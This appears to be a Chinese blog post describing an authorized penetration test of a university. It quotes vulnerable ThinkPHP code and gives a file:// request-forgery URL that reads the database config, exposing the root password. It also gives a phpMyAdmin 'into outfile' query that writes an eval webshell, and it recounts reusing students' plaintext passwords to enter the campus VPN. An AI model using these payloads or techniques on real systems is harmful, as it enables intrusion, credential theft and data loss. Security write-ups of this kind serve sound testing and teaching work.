实战 | 通过代码审计完成的渗透
2023-12-29 21:23:56 Author: 渗透安全团队(查看原文) 阅读量:5 收藏

前言

这是一次针对某高校的授权安全测试,只给了目标学校的名字,所有资产自行收集。

信息收集无非老三样,百度、子域名、C端。

通过百度,我们找到了目标学校的域名example.edu.cn,首先使用百度搜索目标相关站点,尝试发现脆弱站点。

接下来利用railgun对各个域名进行目录扫描,结果收获不小。

很意外的扫描发现某站点存在备份文件泄露的问题,网站源码被打包后存放在根目录下/www.rar。

下载以后得到了如下源码

其中压缩包里打了三个名字很奇怪的文件,想想就觉得可疑。打开以后可以发现这是通过phpmyadmin全局日志备份拿到的webshell

复制链接放入菜刀拿到shell

结束

不行,shell被删掉了。

而网站其他目录是两个thinkphp框架的公众号后端以及一个phpmyadmin。

我们可以从thinkphp数据库配置文件读到mysql账号信息,为root/root。登录phpmyadmin导出文件拿到shell

结束

当然不行,网络管理员还是挺称职的(除了源码备份留到根目录)。他发现根目录的webshell以后,分析出黑客是通过mysql弱口令进入phpmyadmin拿到webshell,于是修改了mysql密码。

至此,我们渗透目标站点只有一条思路--->审计代码。


项目一

项目一只有两个API调用,项目路由如下

0x00 SQL注入

首先我们查看一下thinkphp版本。

3.1.3除了注入不存在RCE以及其他威胁安全的漏洞。

我们需要具体去看MVC中controller的实现来发现问题。

目标站点的两个wx_xxxx_rtm是两个不同的thinkphp项目,其中interface为接口,只有两个Controller

<?php  //indexController
class IndexAction extends PublicAction{
// 首页
public function index () {
$cate = new Model("content");
$sql = "Select c.CONTENT_ID,c. SORT_DATE ,a.TITLE, a.AUTHOR, a.RELEASE_DATE,b.TXT from jc_content c left join jc_content_ext a on a. CONTENT_ID =c. CONTENT_ID left join jc_content_txt b on b. CONTENT_ID =c. CONTENT_ID where c. CONTENT_ID in (select CONTENT_ID from jc_content_channel where channel_id in (75,76)) and c.status=2 order by c. SORT_DATE desc";
echo json_encode($cate->query($sql));
}
public function content () {
$id = $_GET['id'];
$cate = new Model("content");
$sql = "Select c.CONTENT_ID,c. SORT_DATE ,a.TITLE, a.AUTHOR, a.RELEASE_DATE,b.TXT from jc_content c left join jc_content_ext a on a. CONTENT_ID =c. CONTENT_ID left join jc_content_txt b on b. CONTENT_ID =c. CONTENT_ID where c.CONTENT_ID=".$id." and c.status=2 order by c. SORT_DATE desc";
echo json_encode($cate->query($sql));
}
}

可以很清楚的看到content方法直接把id拼入sql查询语句,存在sql注入。当然我们不只想要sql注入,很多时候加盐就能解决很多问题。

0x01 难以利用的请求伪造

而publicAction包含几个工具函数

private function httpGet($url) {
$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_TIMEOUT, 500);
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);

$res = curl_exec($curl);
if ($res === FALSE) {
echo "cURL Error: " . curl_error($curl);
}
curl_close($curl);
return $res;
}

其中httpGet函数很明显,存在csrf漏洞。但因为被private修饰,没办法直接调用。跳过

项目二

项目二使用了同样的thinkphp版本,但包含了完善的前台、后台、API等功能,猜测很大概率存在一定漏洞。

项目结构如下

0x00 未授权访问

阅读代码可以发现这个系统的开发者似乎并不理解thinkphp的权限验证模式。

通常来说,thinkphp在需要权限验证的模块会创建一个基类,在基类初始化的方法中验证用户权限。我们只需要让需要权限验证的类继承该权限验证类即可。而这个开发者似乎并不能始终记住这一点。

class PublicAction extends Action {
//验证登陆的初始方法
public function _initialize () {
$name = session("name");
if(!$name){
$this->redirect('Admin/Index/login');
}
}

我们可以看到他定义了相关的权限验证基类,但是实际上在后台某些模块并没有继承该类。

class AdminUserAction extends PublicAction 
class CommentAction extends Action
class NewsAction extends Action
class OrderAction extends Action
class SystemAction extends Action
...

有很多类都没有使用权限验证,造成了未授权访问

0x01任意文件删除

在admin模块下的SystemAction模块存在删除文件夹方法

public function rmdirr($dirname) {
if (!file_exists($dirname)) {
return false;
}
if (is_file($dirname) || is_link($dirname)) {
return unlink($dirname);
}
$dir = dir($dirname);
if($dir){
while (false !== $entry = $dir->read()) {
if ($entry == '.' || $entry == '..') {
continue;
}
//递归
$this->rmdirr($dirname . DIRECTORY_SEPARATOR . $entry);
}
}
$dir->close();
return rmdir($dirname);
}

该方法是一个public方法,可以直接被外部访问。我们通过未授权可以删除目标站点的文件夹。

0x02 请求伪造

在index/PublicAction/定义了几个调用CURL的助手函数,并且为public属性,直接导致了CSRF漏洞。

public function getCurl ($url) {
//初始化
$ch = curl_init();
//设置选项,包括URL
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);

//执行并获取HTML文档内容
$output = curl_exec($ch);

//释放curl句柄
curl_close($ch);

//返回获得的数据
return $output;
}
//curl模拟post请求
public function postCurl ($url,$post_data) {

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// post数据
curl_setopt($ch, CURLOPT_POST, 1);
// post的变量
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);

$output = curl_exec($ch);
curl_close($ch);

//打印获得的数据
print_r($output);
}
//模拟登录
function login_get($url, $cookie) {
$curl = curl_init();//初始化curl模块
curl_setopt($curl, CURLOPT_URL, $url);//登录提交的地址
curl_setopt($curl, CURLOPT_HEADER, 0);//是否显示头信息
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);//是否自动显示返回的信息
curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie); //设置Cookie信息保存在指定的文件中
curl_exec($curl);//执行cURL
curl_close($curl);//关闭cURL资源,并且释放系统资源
}
//登录成功后获取数据
function get_content($url, $cookie) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie); //读取cookie
$rs = curl_exec($ch); //执行cURL抓取页面内容
curl_close($ch);
return $rs;
}

其中只有postCurl会将访问结果打印出来,我们于是可以调用postCurl方法利用伪协议读取任意文件。当然首先目标就是database config。

目标要求传入两个参数url、postdata,我们都可以通过get方法把数据提交,最终构造EXP如下

http://*.*.*.*/wx_xxxxxx_rtm/index.php/Index/Search/postcurl?url=file://D:\WWW\wx_xxxxxx_rtm\App\Conf\config.php&post_data=1
//伪协议可以使用相对路径,使用绝对路径是因为最开始调试时存在莫名问题未能成功。绝对路径利用thinkphp debug模式的报错拿到。
'DB_USER'   => 'root', // 用户名
'DB_PWD' => '123456789@abc', // 密码

拿到数据库密码进入phpmyadmin直接查询select '<?php eval($_GET[0]);?>' into outfile 'D:\\WWW\\1.php';拿到shell

后续

目标站点的web服务为system权限,但始终无法上线CS(已经免杀),只能换条路进行内网渗透。

数据库发现了一些学生用户的明文密码,利用学生用户密码我们登录进VPN。发现VPN没有进行任何的隔离,可以直接对整个学校内网进行渗透,具体便不再细谈。


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

加入安全交流群

                               

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247513466&idx=1&sn=a264dc42692682d0728a5578e6427570&chksm=c0093172e748544aa16e31d293a5184e2e4808904798f1220139f329d01617f8921c203b4a32&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh